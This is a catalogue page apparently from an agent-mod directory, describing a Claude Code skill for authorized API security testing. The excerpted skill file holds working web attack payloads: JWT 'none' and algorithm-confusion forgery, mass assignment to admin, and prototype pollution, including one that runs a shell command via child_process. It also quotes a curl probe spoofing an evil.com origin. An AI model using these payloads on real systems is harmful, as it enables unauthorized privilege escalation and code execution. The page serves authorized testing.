hunt-api-misconfig

hunt-api-misconfig is a skill for Claude Code from Zyrexnn/Cybermes. It costs 207 tokens per session (4,524 once invoked), scanned A, a copy of hunt-api-misconfig, Apache-2.0.

A guide for checking APIs for security mistakes that may let attackers change protected fields, alter server-side object behavior, or bypass normal request rules. An API is a way for software to exchange requests and data.

In plain words
What is it for?
Testing profile, settings, cart, import, webhook, and similar endpoints for mass assignment, prototype pollution, and HTTP method tampering.
Why use it?
It provides a focused sequence for finding dangerous input-handling flaws and proving whether they affect later operations, rather than treating any successful request as a vulnerability.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the Claude-BugHunter plugin — 11 skills, 15 commands shipped together

Good fit Testing profile, settings, cart, import, webhook, and similar endpoints for mass assignment, prototype pollution, and HTTP method tampering.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/zyrexnn/cybermes/hunt-api-misconfig
About the project

Cybermes is an automation framework for authorized offensive-security work, including bug-bounty hunting, reconnaissance, vulnerability research, and structured reporting. Security practitioners use it through AI coding environments with modular playbooks, command-line tools, and Model Context Protocol support. The catalogue entries provide its commands, skills, plugin, instruction, and rule for agent-assisted security workflows.

Zyrexnn/Cybermes · 1,059 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add Zyrexnn/Cybermes --skill hunt-api-misconfig
Clone the repo
git clone --depth 1 https://github.com/Zyrexnn/Cybermes

Made for: Claude Code.

Or install Claude-BugHunter, the plugin that ships this one along with the rest of its 11 skills, 15 commands.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt-api-misconfig

README.md
[![agentmods](https://agentmods.dev/badge/skills/zyrexnn/cybermes/hunt-api-misconfig/github.svg)](https://agentmods.dev/skills/zyrexnn/cybermes/hunt-api-misconfig)
Your own site
<a href="https://agentmods.dev/skills/zyrexnn/cybermes/hunt-api-misconfig"><img src="https://agentmods.dev/badge/skills/zyrexnn/cybermes/hunt-api-misconfig/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for hunt-api-misconfig

Your own site · 80×15
<a href="https://agentmods.dev/skills/zyrexnn/cybermes/hunt-api-misconfig"><img src="https://agentmods.dev/badge/skills/zyrexnn/cybermes/hunt-api-misconfig.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 207 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 4,524 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 98% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00207 $0.04524
Opus 5.5 $0.00083 $0.01810
Sonnet 5.5 $0.00041 $0.00905
Haiku 4.5 $0.00021 $0.00452

Measured 3mo ago against content hash f4be73d5c9fe, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

hunt-api-misconfig scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
Origin

This is a copy

98% identical to hunt-api-misconfig — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

knowledge/Claude-BugHunter/skills/hunt-api-misconfig/SKILL.md · 267 lines

How it starts

The opening of the file, as written. The whole thing — 267 lines — stays where its author put it; the contents beside it link to each section on GitHub.

12. API SECURITY MISCONFIGURATION

Mass Assignment

User.update(req.body)  // body has {"role": "admin"} → privilege escalation

JWT None Algorithm

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature

JWT RS256 → HS256 Algorithm Confusion

# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it

Prototype Pollution

// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin

For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, or webhook configuration. Do not stop at a 200 response to __proto__; prove that polluted prototype state reaches a later operation.

Hunt sequence:

  1. Find an object-update endpoint. Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
  2. Pollute harmless marker properties. Send variants such as:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
  1. Trigger a separate sink. After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes.
  2. Escalate only through learned sinks. Candidate properties depend on the sink:

Read the full file on GitHub · 267 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3mo ago First seen · 267 lines · 207 tokens per session scan A f4be73d5c9fe

Subscribe to this mod's changes

hunt-api-misconfig is a skill published in the GitHub repository Zyrexnn/Cybermes (1,059 stars, last pushed 19d ago), licensed Apache-2.0. It adds 207 tokens to every session and 4,524 once invoked, about $0.0008 per session on Opus 5.5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). It is 98% identical to hunt-api-misconfig, differing in 2 lines, and is treated as a copy.

Related

hunt-api-misconfig compared with skills from other repositories

hunt-api-misconfig next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
hunt-api-misconfigZyrexnn/CybermesSkill1.1k19d agoApache-2.0A207Claude Code
jwt_tooltr4m0ryp/shorSkill141mo agononeA52Claude Code, Codex
ffuftr4m0ryp/shorSkill141mo agononeA53Claude Code, Codex
sstimaptr4m0ryp/shorSkill141mo agononeA51Claude Code, Codex
forensics-kitFrancescoStabile/numasecSkill8587mo agoAGPL-3.0A101Claude Code, Codex
passive-osintFrancescoStabile/numasecSkill8587mo agoAGPL-3.0A99Claude Code, Codex
authz-recipetr4m0ryp/shorSkill141mo agononeA62Claude Code, Codex